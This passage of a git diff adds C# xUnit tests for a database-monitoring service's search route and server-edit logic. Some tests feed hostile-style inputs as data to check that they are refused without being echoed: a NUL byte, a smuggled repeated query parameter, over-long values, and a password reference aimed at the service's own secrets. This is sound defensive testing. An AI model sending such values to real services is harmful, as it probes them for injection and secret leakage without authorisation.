+            var alpha = await GetAsync(client, url + "&search=alpha", ct);
+            Assert.Equal(new[] { "alpha1", "alpha2", "alpha3" }, alpha.Names);
+            Assert.False(alpha.Truncated);
+            var a = await GetAsync(client, url + "&search=a", ct);
+            Assert.Equal(new[] { "alpha1", "alpha2", "alpha3" }, a.Names);
+            Assert.True(a.Truncated);
+
+            // No match is an empty list, not an error.
+            var none = await GetAsync(client, url + "&search=nothing-matches", ct);
+            Assert.Empty(none.Names);
+            Assert.False(none.Truncated);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await CleanupAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>#5314: a NUL, a repeated <c>search</c> key and a value over 128 characters are refused with the route's
+    /// invalid envelope (a 400), before the store is read, and the body never holds the value sent.</summary>
+    [Fact]
+    public async Task TheRoute_Search_RefusesANul_ARepeatedKey_AndAnOverLongValue_WithoutEchoingThem()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live #5314 server-databases refusal test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(connectionString!);
+        var builder = WebApplication.CreateBuilder();
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+        await using var app = builder.Build();
+        DarlingServerDatabasesEndpoint.Map(app, postgres, app.Logger);
+        await app.StartAsync(ct);
+        using var client = app.GetTestClient();
+        var url = "/api/server-databases?server=" + Uri.EscapeDataString(ServerName) + "&search=";
+
+        foreach (var (query, echoed) in new[]
+        {
+            ("ab%00cd", "cd"),
+            ("first&search=second", "second"),
+            (new string('x', DarlingServerDatabasesEndpoint.MaxSearchLength + 1), "xxxxxxxx"),
+        })
+        {
+            using var response = await client.GetAsync(url + query, ct);
+            var text = await response.Content.ReadAsStringAsync(ct);
+            Assert.Equal(HttpStatusCode.BadRequest, response.StatusCode);
+            using var doc = JsonDocument.Parse(text);
+            Assert.Equal("invalid", doc.RootElement.GetProperty("status").GetString());
+            Assert.Equal("search", doc.RootElement.GetProperty("hints").GetProperty("parameter").GetString());
+            Assert.DoesNotContain(echoed, text, StringComparison.Ordinal);
+        }
+    }
+
+    private static async Task<(string[] Names, bool Truncated)> GetAsync(
+        System.Net.Http.HttpClient client, string url, CancellationToken ct)
+    {
+        using var response = await client.GetAsync(url, ct);
+        Assert.Equal(HttpStatusCode.OK, response.StatusCode);
+        using var doc = JsonDocument.Parse(await response.Content.ReadAsStringAsync(ct));
+        return (
+            doc.RootElement.GetProperty("databases").EnumerateArray().Select(e => e.GetString()!).ToArray(),
+            doc.RootElement.GetProperty("truncated").GetBoolean());
+    }
+
+    /// <summary>The seeded name for number <paramref name="n"/>; the zero padding keeps name order equal to number order
+    /// under any collation.</summary>
+    private static string CapName(int n) => "cap5245_" + n.ToString("D5", System.Globalization.CultureInfo.InvariantCulture);
+
+    private static async Task InsertManyAsync(
+        NpgsqlConnection connection, int serverId, string serverName, int first, int last, CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(
+            "INSERT INTO database_config (config_id, capture_time, server_id, server_name, database_name) " +
+            "SELECT $1 + g, $2, $3, $4, 'cap5245_' || lpad(g::text, 5, '0') FROM generate_series($5::int, $6::int) AS g",
+            connection);
+        command.Parameters.AddWithValue(5_245_000_000_000L);
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue(serverName);
+        command.Parameters.AddWithValue(first);
+        command.Parameters.AddWithValue(last);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task InsertServerAsync(NpgsqlConnection connection, int serverId, string serverName, CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(
+            "INSERT INTO servers (server_id, server_name, display_name, is_enabled) VALUES ($1, $2, $3, TRUE)", connection);
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue(serverName);
+        command.Parameters.AddWithValue(serverName);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task InsertAsync(
+        NpgsqlConnection connection, string table, string idColumn, string timeColumn,
+        int serverId, string serverName, string databaseName, DateTime whenUtc, CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(
+            $"INSERT INTO {table} ({idColumn}, {timeColumn}, server_id, server_name, database_name) VALUES ($1, $2, $3, $4, $5)",
+            connection);
+        command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(whenUtc, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue(serverName);
+        command.Parameters.AddWithValue(databaseName);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task CleanupAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        foreach (var table in new[] { "database_config", "database_size_stats", "servers" })
+        {
+            using var command = new NpgsqlCommand($"DELETE FROM {table} WHERE server_id = ANY($1)", connection);
+            command.Parameters.AddWithValue(new[] { ServerId, OtherServerId });
+            await command.ExecuteNonQueryAsync(ct);
+        }
+    }
+}
+
+/// <summary>
+/// #5245 L7: the inventory SQL deduplicates inside EACH arm. Over 500 databases, hourly for 90 days (2.2 million
+/// <c>v_database_size_stats</c> rows) the bare <c>UNION</c> shape sorted every row and took a 4.4 s median; hashing each
+/// arm down first took 0.26 s with the same rows. A pin, because the shape is invisible in the result.
+/// </summary>
+public sealed class CollectedDatabasesSqlTests
+{
+    [Fact]
+    public void NamesSql_DeduplicatesInsideEachArm_SoTheUnionSortsNamesNotRows()
+    {
+        var sql = string.Join(" ", CollectedDatabases.NamesSql.Split(['\r', '\n', ' '], StringSplitOptions.RemoveEmptyEntries));
+
+        Assert.Contains("SELECT DISTINCT database_name FROM v_database_config WHERE server_id = $1", sql, StringComparison.Ordinal);
+        Assert.Contains("SELECT DISTINCT database_name FROM v_database_size_stats WHERE server_id = $1", sql, StringComparison.Ordinal);
+    }
+
+    /// <summary>#5314: the search read is the shared list narrowed by one <c>ILIKE</c> against $3 with a backslash escape, ahead of
+    /// the ORDER BY and the LIMIT, so the limit counts matches; the pattern builder escapes the three characters that mean
+    /// something to LIKE.</summary>
+    [Fact]
+    public void NamesSearchLimitedSql_NarrowsBeforeTheLimit_WithOneEscapedPatternParameter()
+    {
+        var sql = CollectedDatabases.NamesSearchLimitedSql;
+        var like = sql.IndexOf("database_name ILIKE $3 ESCAPE '\\'", StringComparison.Ordinal);
+        var order = sql.IndexOf("ORDER BY database_name", StringComparison.Ordinal);
+        var limit = sql.IndexOf("LIMIT $2", StringComparison.Ordinal);
+        Assert.True(like > 0 && like < order && order < limit, sql);
+        Assert.DoesNotContain("$4", sql, StringComparison.Ordinal);
+        Assert.StartsWith(CollectedDatabases.NamesSql[..CollectedDatabases.NamesSql.IndexOf("\nORDER BY", StringComparison.Ordinal)], sql, StringComparison.Ordinal);
+
+        Assert.Equal("%a\\%b\\_c\\\\d%", CollectedDatabases.SearchPattern("a%b_c\\d"));
+        Assert.Equal("%plain%", CollectedDatabases.SearchPattern("plain"));
+    }
+
+    /// <summary>#5314: the search value's binding rules, pure. Blank is no search; a NUL, a second key and a value over 128
+    /// characters are refused, and the refusal sentence never carries what was sent.</summary>
+    [Fact]
+    public void TryBindSearch_ReadsBlankAsNoSearch_AndRefusesNulRepeatsAndOverLongValues()
+    {
+        static (bool Ok, string? Search, string? Refusal) Bind(string query)
+        {
+            var ok = DarlingServerDatabasesEndpoint.TryBindSearch(
+                new Microsoft.AspNetCore.Http.QueryCollection(Microsoft.AspNetCore.WebUtilities.QueryHelpers.ParseQuery(query)),
+                out var search, out var refusal);
+            return (ok, search, refusal);
+        }
+
+        Assert.Equal((true, null, null), Bind(""));
+        Assert.Equal((true, null, null), Bind("?search="));
+        Assert.Equal((true, null, null), Bind("?search=%20%09"));
+        Assert.Equal((true, " ab ", null), Bind("?search=%20ab%20"));
+        Assert.Equal((true, new string('x', 128), null), Bind("?search=" + new string('x', 128)));
+
+        foreach (var bad in new[] { "?search=a%00b", "?search=one&search=two", "?search=" + new string('y', 129) })
+        {
+            var (ok, search, refusal) = Bind(bad);
+            Assert.False(ok);
+            Assert.Null(search);
+            Assert.Contains("\"status\":\"invalid\"", refusal, StringComparison.Ordinal);
+            Assert.DoesNotContain("two", refusal, StringComparison.Ordinal);
+            Assert.DoesNotContain("yyyy", refusal, StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>The web route reads <see cref="CollectedDatabases.NamesLimitedSql"/>: the shared list plus one trailing LIMIT.
+    /// The desktop Excluded Databases picker keeps the unlimited <see cref="CollectedDatabases.NamesSql"/>, so its list
+    /// is every collected name as before.</summary>
+    [Fact]
+    public void NamesLimitedSql_IsTheSharedListPlusALimit_AndTheDesktopPickerStaysUnlimited()
+    {
+        Assert.Equal(CollectedDatabases.NamesSql + "\nLIMIT $2", CollectedDatabases.NamesLimitedSql);
+        Assert.DoesNotContain("LIMIT", CollectedDatabases.NamesSql, StringComparison.Ordinal);
+
+        var desktop = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.ExcludedDatabases.cs");
+        Assert.Contains("CollectedDatabases.NamesSql", desktop, StringComparison.Ordinal);
+        Assert.DoesNotContain("NamesLimitedSql", desktop, StringComparison.Ordinal);
+
+        var route = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingServerDatabasesEndpoint.cs");
+        Assert.Contains("CollectedDatabases.NamesLimitedSql", route, StringComparison.Ordinal);
+        Assert.Contains("CollectedDatabases.NamesSearchLimitedSql", route, StringComparison.Ordinal);
+    }
+}
\ No newline at end of file
diff --git a/Darling/Darling.Tests/ServerEditCoreTests.cs b/Darling/Darling.Tests/ServerEditCoreTests.cs
new file mode 100644
index 0000000000..3ed7bcac89
--- /dev/null
+++ b/Darling/Darling.Tests/ServerEditCoreTests.cs
@@ -0,0 +1,743 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+using Edit = PerformanceMonitor.Darling.Service.Mcp.DarlingMcpServerAdminTools;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The edit core (#5240) over a stand-in store and probe: field validation, the refused keys, the optimistic token,
+/// the credential rules, the audit line and the rule that no secret value reaches an answer. The statements the core
+/// really runs are proved against a store in <see cref="ServerEditLiveTests"/>.
+/// </summary>
+[Collection("darling-owned-secrets")]
+public sealed class ServerEditCoreTests : IDisposable
+{
+    private const string Secret = "Synth-Edit-Pw-1";
+    private const string LiteralSecret = "Lit3ral-Sw0rd-Value";
+
+    private readonly DarlingOwnedSet _ownedBefore = DarlingOwnedSecrets.Current;
+
+    public ServerEditCoreTests() => DarlingOwnedSecrets.Set(DarlingOwnedSet.Empty);
+
+    public void Dispose() => DarlingOwnedSecrets.Set(_ownedBefore);
+
+    private static readonly DateTime Stamp = new(2026, 10, 5, 12, 0, 0, 123, DateTimeKind.Unspecified);
+
+    private static Edit.ServerEditRow SqlRow(string host = "alpha-01.example.test", string auth = "sql", string engine = "sqlserver") => new(
+        ServerId: 41, Name: "alpha-01", Host: host, Port: 0, Database: null, ReadOnlyIntent: false, Engine: engine,
+        Auth: auth, Username: auth == "integrated" ? null : "monitor", EncryptMode: "Mandatory", TrustServerCertificate: false,
+        MultiSubnetFailover: false, MonthlyCostUsd: 10m, ModifiedAt: Stamp.AddTicks(7));
+
+    private static readonly Edit.ServerProbe Reachable = (_, _) => Task.FromResult(
+        new ConnectionProbeResult(true, 15, 3, "Enterprise", false, false, false, true, null));
+
+    private static Edit.ServerProbe Unreachable(string error) => (_, _) => Task.FromResult(
+        new ConnectionProbeResult(false, 0, 0, null, false, false, false, false, error));
+
+    private static readonly Edit.ServerProbe ThrowingProbe =
+        (_, _) => throw new InvalidOperationException("the probe must not run for this request");
+
+    private sealed class FakeStore : Edit.IServerEditStore
+    {
+        public Edit.ServerEditRow? Row { get; set; }
+        public List<string> OtherKeys { get; } = [];
+        public int Reads { get; private set; }
+        public int Writes { get; private set; }
+        public List<Edit.EditColumnValue> LastSets { get; private set; } = [];
+        public string? LastNewKey { get; private set; }
+        public string? LastActualKey { get; private set; }
+        public Edit.ServerEditWriteKind WriteResult { get; set; } = Edit.ServerEditWriteKind.Written;
+
+        public Task<Edit.ServerEditRow?> ReadRowAsync(int serverId, CancellationToken cancellationToken)
+        {
+            Reads++;
+            return Task.FromResult(Row);
+        }
+
+        public Task<List<string>> LoadOtherStorageKeysAsync(int serverId, CancellationToken cancellationToken) =>
+            Task.FromResult(OtherKeys.ToList());
+
+        public Task<Edit.ServerEditWrite> WriteAsync(
+            int serverId, DateTime expectedModifiedAt, IReadOnlyList<Edit.EditColumnValue> sets, string? newStorageKey, string? actualStorageKey, CancellationToken cancellationToken)
+        {
+            Writes++;
+            LastSets = sets.ToList();
+            LastNewKey = newStorageKey;
+            LastActualKey = actualStorageKey;
+            return Task.FromResult(new Edit.ServerEditWrite(WriteResult, Stamp.AddSeconds(1)));
+        }
+    }
+
+    private sealed class CapturingLogger : ILogger
+    {
+        public List<string> Lines { get; } = [];
+
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+        public bool IsEnabled(LogLevel logLevel) => true;
+
+        public void Log<TState>(LogLevel logLevel, EventId eventId, TState state, Exception? exception, Func<TState, Exception?, string> formatter) =>
+            Lines.Add(formatter(state, exception));
+    }
+
+    private static Task<string> Run(FakeStore store, string changes, Edit.ServerProbe? probe = null, IPasswordKeyRing? ring = null, ILogger? logger = null) =>
+        Edit.EditServerCoreAsync(store, 41, changes, probe ?? ThrowingProbe, ring ?? TestKeyRings.Healthy, logger, CancellationToken.None);
+
+    private static string Status(string answer) => JsonNode.Parse(answer)!["status"]!.GetValue<string>();
+
+    /* ---------------- parse ---------------- */
+
+    [Theory]
+    [InlineData("engine")]
+    [InlineData("is_enabled")]
+    [InlineData("excluded_databases")]
+    [InlineData("server_id")]
+    [InlineData("capture_plans")]
+    [InlineData("alert_delivery_mode_override")]
+    [InlineData("plan_force_bot_enabled")]
+    [InlineData("remediation_username")]
+    [InlineData("remediation_encrypted_password")]
+    public async Task ARefusedKey_IsInvalid_AndNothingIsReadOrWritten(string key)
+    {
+        var store = new FakeStore { Row = SqlRow() };
+        var answer = await Run(store, $"{{\"display_name\":\"x\",\"{key}\":1}}");
+
+        Assert.Equal("invalid", Status(answer));
+        Assert.Contains(key.StartsWith("remediation_", StringComparison.Ordinal) ? "remediation_*" : key, answer, StringComparison.Ordinal);
+        Assert.Contains("cannot be changed here", answer, StringComparison.Ordinal);
+        Assert.Equal(0, store.Reads);
+        Assert.Equal(0, store.Writes);
+    }
+
+    [Fact]
+    public void AnUnknownKey_IsRefused_NamingTheEditableKeys_AndNeverEchoingAValue()
+    {
+        var (changes, error) = Edit.ParseEditChanges("{\"passwrd\":\"" + LiteralSecret + "\"}");
+
+        Assert.Null(changes);
+        Assert.Contains("not an editable field", error, StringComparison.Ordinal);
+        Assert.Contains("display_name", error, StringComparison.Ordinal);
+        Assert.DoesNotContain(LiteralSecret, error, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("")]
+    [InlineData("   ")]
+    [InlineData("not json")]
+    [InlineData("[]")]
+    [InlineData("{}")]
+    [InlineData("{\"display_name\":\"a\",\"display_name\":\"b\"}")]
+    [InlineData("{\"port\":70000}")]
+    [InlineData("{\"port\":\"abc\"}")]
+    [InlineData("{\"host\":\"  \"}")]
+    [InlineData("{\"host\":5}")]
+    [InlineData("{\"read_only_intent\":\"yes\"}")]
+    [InlineData("{\"trust_server_certificate\":1}")]
+    [InlineData("{\"multi_subnet_failover\":null}")]
+    [InlineData("{\"auth\":\"EntraMFA\"}")]
+    [InlineData("{\"auth\":\"\"}")]
+    [InlineData("{\"encrypt_mode\":\"Sometimes\"}")]
+    [InlineData("{\"monthly_cost_usd\":-1}")]
+    [InlineData("{\"monthly_cost_usd\":\"lots\"}")]
+    [InlineData("{\"expected_modified_at\":\"\"}")]
+    public void ABadBody_IsInvalid_BeforeAnyStoreAccess(string json)
+    {
+        var (changes, error) = Edit.ParseEditChanges(json);
+
+        Assert.Null(changes);
+        Assert.False(string.IsNullOrWhiteSpace(error));
+    }
+
+    [Fact]
+    public void AGoodBody_ParsesEveryField_AndLeavesTheUnnamedOnesUntouched()
+    {
+        var (c, error) = Edit.ParseEditChanges(
+            "{\"display_name\":\" Orders \",\"host\":\"b.example.test\",\"port\":\"5433\",\"database\":null,\"read_only_intent\":true," +
+            "\"auth\":\"sql\",\"username\":\"u\",\"password\":\"" + Secret + "\",\"encrypt_mode\":\"strict\"," +
+            "\"trust_server_certificate\":true,\"multi_subnet_failover\":true,\"monthly_cost_usd\":12.5,\"expected_modified_at\":\"t\"}");
+
+        Assert.Null(error);
+        Assert.Equal("Orders", c!.DisplayName);
+        Assert.Equal("b.example.test", c.Host);
+        Assert.Equal(5433, c.Port);
+        Assert.True(c.HasDatabase);
+        Assert.Null(c.Database);
+        Assert.Equal("sql", c.StoreAuth);
+        Assert.Equal("Strict", c.EncryptMode);
+        Assert.Equal(12.5m, c.MonthlyCostUsd);
+
+        var (only, _) = Edit.ParseEditChanges("{\"monthly_cost_usd\":1}");
+        Assert.False(only!.HasDatabase);
+        Assert.False(only.HasUsername);
+        Assert.Null(only.Host);
+        Assert.Null(only.Port);
+    }
+
+    /* ---------------- the SET list ---------------- */
+
+    [Fact]
+    public void TheWritableColumns_NeverIncludeAnIdentityOrAnOwnerOnlyColumn()
+    {
+        var forbidden = new[]
+        {
+            "server_id", "engine", "is_enabled", "excluded_databases", "capture_plans", "alert_delivery_mode_override",
+            "plan_force_bot_enabled", "remediation_username", "remediation_encrypted_password", "created_at",
+        };
+
+        Assert.Empty(Edit.EditColumnOfField.Values.Intersect(forbidden));
+        Assert.Equal(14, Edit.EditColumnOfField.Count);
+    }
+
+    [Fact]
+    public void TheFunctionCall_NamesOnlyTheColumnsGiven_PassesTheTokenUnrounded_AndLeavesTheRestNull()
+    {
+        var token = Stamp.AddTicks(7);
+        var parameters = Edit.BuildEditFunctionParameters(
+            41, token,
+            [
+                new Edit.EditColumnValue("display_name", "name", NpgsqlDbType.Text, "x"),
+                new Edit.EditColumnValue("password", "encrypted_password", NpgsqlDbType.Text, "blob"),
+            ]);
+
+        Assert.Equal(17, parameters.Count);
+        Assert.Equal(["name", "encrypted_password"], (string[])parameters[2].Value!);
+        Assert.Equal(token, (DateTime)parameters[1].Value!);
+        Assert.Equal("x", parameters[3].Value);
+        Assert.Equal("blob", parameters[10].Value);
+        Assert.Equal(DBNull.Value, parameters[4].Value);
+        Assert.DoesNotContain("encrypted_password", Edit.EditFunctionSql, StringComparison.Ordinal);
+        Assert.Equal(
+            Edit.EditColumnOfField.Values.Order(StringComparer.Ordinal).ToArray(),
+            Edit.EditFunctionColumns.Select(c => c.Column).Order(StringComparer.Ordinal).ToArray());
+    }
+
+    [Fact]
+    public void ASetOnAnUnlistedColumn_ThrowsBeforeAnySql()
+    {
+        var ex = Assert.Throws<InvalidOperationException>(() =>
+            Edit.BuildEditFunctionParameters(41, Stamp, [new Edit.EditColumnValue("x", "is_enabled", NpgsqlDbType.Boolean, false)]));
+        Assert.Contains("is_enabled", ex.Message, StringComparison.Ordinal);
+    }
+
+    /* ---------------- plan: the credential rules ---------------- */
+
+    private static (Edit.ServerEditPlan? Plan, string? Error) Plan(Edit.ServerEditRow row, string json, PasswordKeyStatus? key = null)
+    {
+        var (changes, error) = Edit.ParseEditChanges(json);
+        Assert.Null(error);
+        return Edit.PlanEdit(row, changes!, key ?? TestKeyRings.Healthy.Status);
+    }
+
+    [Fact]
+    public void ANonConnectionEdit_OnASqlRow_NeedsNoSecret_NoProbe_AndNoReconnectForCost()
+    {
+        var (cost, error) = Plan(SqlRow(), "{\"monthly_cost_usd\":99}");
+        Assert.Null(error);
+        Assert.Equal(["monthly_cost_usd"], cost!.ChangedFields);
+        Assert.False(cost.NeedsProbe);
+        Assert.False(cost.Reconnects);
+        Assert.DoesNotContain(cost.Sets, s => s.Column == "encrypted_password");
+
+        var (rename, _) = Plan(SqlRow(), "{\"display_name\":\"renamed\"}");
+        Assert.False(rename!.NeedsProbe);
+        Assert.True(rename.Reconnects, "the worker compares the display name, so a rename reconnects");
+    }
+
+    [Theory]
+    [InlineData("{\"host\":\"beta-01.example.test\"}")]
+    [InlineData("{\"database\":\"Orders\"}")]
+    [InlineData("{\"read_only_intent\":true}")]
+    [InlineData("{\"username\":\"someone-else\"}")]
+    [InlineData("{\"encrypt_mode\":\"Strict\"}")]
+    [InlineData("{\"trust_server_certificate\":true}")]
+    [InlineData("{\"multi_subnet_failover\":true}")]
+    public void AConnectionEdit_OnASqlRow_WithoutTheSecret_IsRefused_WithTheDocumentedSentence(string json)
+    {
+        var (plan, error) = Plan(SqlRow(), json);
+
+        Assert.Null(plan);
+        Assert.Equal(Edit.EditPasswordNeededText, error);
+    }
+
+    [Fact]
+    public void AConnectionEdit_WithTheSecret_IsProbed_AndWritesTheSecretColumn()
+    {
+        var (plan, error) = Plan(SqlRow(), "{\"host\":\"beta-01.example.test\",\"password\":\"" + Secret + "\"}");
+
+        Assert.Null(error);
+        Assert.True(plan!.NeedsProbe);
+        Assert.True(plan.Reconnects);
+        Assert.True(plan.AddressChanged);
+        Assert.Equal(["host", "password"], plan.ChangedFields);
+        Assert.Equal(Secret, plan.PlaintextSecret);
+    }
+
+    [Fact]
+    public void APortOnASqlServerRow_IsRefused_ThePortGoesInTheHost()
+    {
+        var (plan, error) = Plan(SqlRow(), "{\"port\":1444}");
+
+        Assert.Null(plan);
+        Assert.Equal("A SQL Server port goes in host, as host,port.", error);
+    }
+
+    [Fact]
+    public void APortOnAPostgresRow_IsAccepted_AndNeedsTheSecret()
+    {
+        var (needs, needsError) = Plan(SqlRow(engine: "postgres"), "{\"port\":5433}");
+        Assert.Null(needs);
+        Assert.Equal(Edit.EditPasswordNeededText, needsError);
+
+        var (plan, error) = Plan(SqlRow(engine: "postgres"), "{\"port\":5433,\"password\":\"" + Secret + "\"}");
+        Assert.Null(error);
+        Assert.Contains("port", plan!.ChangedFields);
+    }
+
+    [Fact]
+    public void ACaseOnlyEncryptModeChange_IsUnchanged_NotAWriteOrAReconnect()
+    {
+        var (plan, error) = Plan(SqlRow(), "{\"encrypt_mode\":\"mandatory\"}");
+
+        Assert.Null(error);
+        Assert.Empty(plan!.Sets);
+        Assert.False(plan.NeedsProbe);
+    }
+
+    [Theory]
+    [InlineData("integrated")]
+    [InlineData("managedidentity")]
+    public void ACostOnlyEdit_OnANonSecretAuthRow_DoesNotReconnect(string auth)
+    {
+        var (plan, error) = Plan(SqlRow(auth: auth), "{\"monthly_cost_usd\":99}");
+
+        Assert.Null(error);
+        Assert.Equal(["monthly_cost_usd"], plan!.ChangedFields);
+        Assert.False(plan.Reconnects);
+    }
+
+    [Fact]
+    public void ASwitchFromASecretModeToANonSecretMode_StillReconnects()
+    {
+        var (plan, error) = Plan(SqlRow(), "{\"auth\":\"Windows\"}");
+
+        Assert.Null(error);
+        Assert.True(plan!.Reconnects);
+    }
+
+    [Fact]
+    public async Task ARefusedKey_IsTruncated_AndARemediationKeyNamesOnlyThePrefix()
+    {
+        var longKey = new string('k', 60);
+        var answer = await Run(new FakeStore { Row = SqlRow() }, "{\"remediation_password_hint_" + longKey + "\":1}");
+        Assert.Equal("invalid", Status(answer));
+        Assert.Contains("remediation_*", answer, StringComparison.Ordinal);
+        Assert.DoesNotContain(longKey, answer, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task AConflictInsideTheWrite_CarriesTheCurrentValues_LikeThePreProbeConflict()
+    {
+        var store = new FakeStore { Row = SqlRow(), WriteResult = Edit.ServerEditWriteKind.Conflict };
+
+        var answer = await Run(store, "{\"monthly_cost_usd\":5}");
+
+        Assert.Equal("conflict", Status(answer));
+        var current = JsonNode.Parse(answer)!["current"]!;
+        Assert.Equal("alpha-01", current["display_name"]!.GetValue<string>());
+        Assert.Equal(Edit.ModifiedAtToken(store.Row!.ModifiedAt), current["modified_at"]!.GetValue<string>());
+    }
+
+    [Fact]
+    public void AWindowsRow_NeedsNoSecret_ToChangeItsHost_ButIsProbed()
+    {
+        var (plan, error) = Plan(SqlRow(auth: "integrated"), "{\"host\":\"beta-01.example.test\"}");
+
+        Assert.Null(error);
+        Assert.True(plan!.NeedsProbe);
+        Assert.DoesNotContain(plan.Sets, s => s.Column == "encrypted_password");
+    }
+
+    [Fact]
+    public void ASwitchIntoSql_RequiresThePassword_AndASwitchOutClearsTheStoredSecret()
+    {
+        var (refused, error) = Plan(SqlRow(auth: "integrated"), "{\"auth\":\"SQL\",\"username\":\"u\"}");
+        Assert.Null(refused);
+        Assert.Contains("needs the password", error, StringComparison.Ordinal);
+
+        var (into, _) = Plan(SqlRow(auth: "integrated"), "{\"auth\":\"SQL\",\"username\":\"u\",\"password\":\"" + Secret + "\"}");
+        Assert.Equal(["auth", "username", "password"], into!.ChangedFields);
+
+        var (spRefused, spError) = Plan(SqlRow(), "{\"auth\":\"ServicePrincipal\",\"username\":\"app-id\"}");
+        Assert.Null(spRefused);
+        Assert.Contains("client secret", spError, StringComparison.Ordinal);
+
+        var (outOf, outError) = Plan(SqlRow(), "{\"auth\":\"Windows\"}");
+        Assert.Null(outError);
+        var cleared = Assert.Single(outOf!.Sets, s => s.Column == "encrypted_password");
+        Assert.Null(cleared.Value);
+        Assert.Contains(outOf.Sets, s => s.Column == "username" && s.Value is null);
+        Assert.Null(outOf.PlaintextSecret);
+    }
+
+    [Fact]
+    public void APasswordSentToAWindowsRow_IsIgnored_AsAddIgnoresIt()
+    {
+        var (plan, error) = Plan(SqlRow(auth: "integrated"), "{\"monthly_cost_usd\":1,\"password\":\"" + Secret + "\"}");
+
+        Assert.Null(error);
+        Assert.Null(plan!.PlaintextSecret);
+        Assert.DoesNotContain(plan.Sets, s => s.Column == "encrypted_password");
+    }
+
+    [Fact]
+    public void ALiteralSecret_WhileTheKeyIsNotReady_IsRefused_AsAddRefusesIt_AndTheTextNeverHoldsIt()
+    {
+        var (plan, error) = Plan(SqlRow(), "{\"host\":\"b.example.test\",\"password\":\"" + LiteralSecret + "\"}", TestKeyRings.NotReady.Status);
+
+        Assert.Null(plan);
+        Assert.Equal(Edit.LiteralSecretRefusal(LiteralSecret, TestKeyRings.NotReady.Status, isServicePrincipal: false), error);
+        Assert.DoesNotContain(LiteralSecret, error, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AReferenceToDarlingsOwnSecrets_IsRefused_WithTheSentenceEveryReferenceGets()
+    {
+        DarlingOwnedSecrets.Set(new DarlingOwnedSet(Array.Empty<string>(), new[] { "DARLING_CONFIG" }));
+
+        var (plan, error) = Plan(SqlRow(), "{\"host\":\"b.example.test\",\"password\":\"env:DARLING_CONFIG\"}");
+
+        Assert.Null(plan);
+        Assert.Equal(DarlingSecretSource.RequestReferenceRefusalText, error);
+    }
+
+    [Fact]
+    public void APostgresRow_CannotLeaveSqlAuth()
+    {
+        var row = SqlRow() with { Engine = "postgres", Port = 5432 };
+
+        var (plan, error) = Plan(row, "{\"auth\":\"Windows\"}");
+
+        Assert.Null(plan);
+        Assert.Contains("PostgreSQL target requires", error, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ABlankDisplayName_FallsBackToTheHost_AsAddDoes()
+    {
+        var (plan, _) = Plan(SqlRow(), "{\"display_name\":\"  \"}");
+
+        Assert.Equal("alpha-01.example.test", plan!.NewName);
+    }
+
+    /* ---------------- the core ---------------- */
+
+    [Fact]
+    public async Task AStaleToken_IsAConflict_WithTheCurrentValues_AndNothingIsWritten()
+    {
+        var store = new FakeStore { Row = SqlRow() };
+
+        var answer = await Run(store, "{\"monthly_cost_usd\":5,\"expected_modified_at\":\"2026-10-05T11:00:00.0000000\"}");
+
+        Assert.Equal("conflict", Status(answer));
+        Assert.Equal("alpha-01", JsonNode.Parse(answer)!["current"]!["display_name"]!.GetValue<string>());
+        Assert.Equal(Edit.ModifiedAtToken(store.Row!.ModifiedAt), JsonNode.Parse(answer)!["current"]!["modified_at"]!.GetValue<string>());
+        Assert.Equal(0, store.Writes);
+    }
+
+    [Fact]
+    public async Task TheCurrentToken_KeepsMicroseconds_AndIsAccepted()
+    {
+        var store = new FakeStore { Row = SqlRow() };
+        var token = Edit.ModifiedAtToken(store.Row!.ModifiedAt);
+        Assert.EndsWith("1230007", token, StringComparison.Ordinal);
+
+        var answer = await Run(store, $"{{\"monthly_cost_usd\":5,\"expected_modified_at\":\"{token}\"}}");
+
+        Assert.Equal("updated", Status(answer));
+        Assert.Equal(1, store.Writes);
+    }
+
+    [Fact]
+    public async Task ARequestEqualToTheStoredValues_IsUnchanged_WithZeroWrites_AndNoProbe()
+    {
+        var store = new FakeStore { Row = SqlRow() };
+
+        var answer = await Run(store, "{\"monthly_cost_usd\":10,\"host\":\"alpha-01.example.test\"}");
+
+        Assert.Equal("unchanged", Status(answer));
